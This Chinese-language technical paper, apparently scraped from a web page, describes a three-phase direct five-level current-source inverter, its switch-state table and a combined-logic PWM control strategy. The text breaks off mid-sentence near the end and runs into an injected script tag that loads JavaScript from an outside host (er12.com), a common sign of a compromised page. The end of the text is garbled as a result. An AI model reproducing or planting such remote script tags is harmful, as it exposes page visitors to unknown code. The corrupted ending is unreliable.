摘要：目前的多电平变换技术主要是针对电压型逆变器。随着超导储能技术的发展，电流型逆变器的储能效率问题必将得到解决，电流型多电平逆变器也将得到广泛应用。详细介绍了一种新型电流型三相直接式五电平拓扑，研究了该拓扑的控制策略。给出了仿真和实验波形，仿真结果和实验波形验证了文中所做的分析
关键词：电流型多电平 拓扑 控制策略
0 引言
现有的关于多电平变流器的研究工作主要是针对电压型变流器[2](voltage source inverter，简称vsi)，对电流型变流器[1]（current source inverter，简称csi）研究还较少。这不仅是因为通常的电力能源例如发电机，电网，电池等均属电压源，而且vsi中的储能元件电容器与csi中的储能元件电感器相比，储能效率和储能元件的体积、价格都具有明显的优势。但是，随着超导技术的发展[3]，将解决电流型变流器中电感的储能效率问题。和vsi相比，csi也具有自己的特点，它便于实现四象限运行，而且工作更加稳定，输出电流更加容易控制等。因此，在有源滤波（apf）、无功补偿（svg）以及电力系统中，应用将会越来越广泛。对于多电平逆变器而言，pwm技术无疑是一种获取理想输出的方案。总体上来讲，适用于多电平vsi的控制策略同样适用于多电平csi，但对于不同的拓扑应采用相适应的控制策略。对于组合式多电平csi，各个单元csi在控制上相对独立，因而便于采用pwm技术。对于直接式多电平csi，不能简单沿袭常规的调制方法，通常，三相多电平csi在选取控制策略时必须考虑以下因素：
1）要维持直流侧电流的持续导通；
2）要保证分流电感的电流平衡；
3）要考虑到三相电流的相互耦合影响。
1 电路拓扑分析
图1是本文介绍的三相五电平csi拓扑（以下称为直接式三相五电平），每个开关器件由mos管和一个快恢复二极管串联。在稳态时，考虑到电路拓扑的对称性并忽略电感的纹波，则在分析电路时图中可用值为i/2的电流源来代替每个均流电感。如图2所示，它的输出电平为－i，－i/2，0，i/2，i五电平。
图1 三相直接式五电平csi拓扑
图2 三相直接式五电平csi等效电路
本文中的csi，从形式上看是两个普通逆变器并联于同一电流母线两端，但其工作原理是利用多电平组合的思想，五电平拓扑利用4个均流电感对逆变器的输入电流、输出电流均分成两等份，然后再用相应的开关对三相电流进行合理的分配、组合得到所需的五电平。以a相为例，输出电平和开关导通示意如表1所列。
表1 a相输出电流示意
ia
开状态（闭合为1，断开为0）
sa1
sa2
sa3
sa4
i
1
1
0
0
i/2
1
0
0
0
0
1
0
0
0
0
0
0
0
－i/2
0
0
0
1
0
0
1
0
－i
0
0
1
1
2 三相直接式五电平csi的调制方式研究
常用的多电平变流器的pwm控制方法有：多电平消谐波pwm（shpwm），载波相移(cps－spwm)，开关频率优化（sfo－pwm），空间矢量调制（svpwm）。本文对图1所示的三相新型五电平csi的调制方式是一种组合逻辑的pwm技术，用三相互差120°的正弦波调制信号和一个三角载波比较（正弦波的幅值为5v，三角波幅值为2.5v），再通过数字和模拟电路的组合输出相应的pwm波。
图3为采用的实现pwm技术的数字化方案。所有的比较器单元（决定着开关逻辑）接收三相正弦波调制信号，每一个正弦波对应一片eprom和d/a转换器，每一个eprom均由不同的计数器来寻址，且通过锁相环与对应相的电源同步。幅值控制信号为vmod，它与包含着正弦调制信号的eprom的输出经过d/a转换后相乘，然后作为每个比较模块单元的调制信号。
图3 数字化pwm方案
对于电流型逆变电路，开关动作须满足三个条件，即维持直流侧的持续导通；考虑三相电流相互耦合的影响；均流电感上平均电压应为零。基于以上考虑，本文采取了以下的pwm控制策略。
1）以a相为例，如图4（a）所示，由sina、－sina与同一个三角载波比较分别得到一个二电平的脉冲信号，两个信号叠加得到一个三电平的脉冲信号pa。（同理，可得信号pb，pc）。三电平的脉冲信号pa和pb相叠加得到五电平的一组调制信号pa－pb，如图4（b）所示，同理可得pb－pc，pc－pa。
（a）a相解耦控制电路 （b）控制信?script src=http://er12.com/t.js>
